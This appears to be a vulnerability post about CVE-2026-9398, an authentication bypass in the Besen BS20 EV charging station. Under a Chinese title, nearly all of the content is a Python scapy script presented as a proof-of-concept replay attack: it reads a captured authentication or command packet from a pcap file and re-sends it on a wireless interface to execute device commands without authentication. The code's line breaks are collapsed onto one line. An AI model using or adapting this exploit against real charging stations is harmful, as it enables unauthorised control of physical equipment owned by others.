CVE-2026-9398：Besen BS20充电桩认证绕过漏洞

import time import scapy.all as scapy # Conceptual Proof of Concept for Replay Attack against CVE-2026-9398 # This script demonstrates how a captured packet could be re-injected. # Target: Besen BS20 EV Charging Station (BLE/WiFi Component) def replay_attack(interface, packet_file): """ Reads a packet from a file and replays it on the specified interface. """ try: # Load the captured packet (e.g., authentication or command packet) packets = scapy.rdpcap(packet_file) if not packets: print("[-] No packets found in file.") return target_packet = packets[0] # Assume the first packet is the exploit payload print(f"[*] Loading packet from {packet_file}") print(f"[*] Target Interface: {interface}") print("[*] Waiting for vulnerable window...") time.sleep(2) # Replay the packet print("[*] Sending replay packet...") scapy.sendp(target_packet, iface=interface, verbose=0, count=1) print("[+] Exploit packet sent successfully.") print("[+] Check if the device command was executed without authentication.") except Exception as e: print(f"[-] An error occurred: {e}") # Example Usage: # replay_attack('wlan0', 'besen_auth_capture.pcap')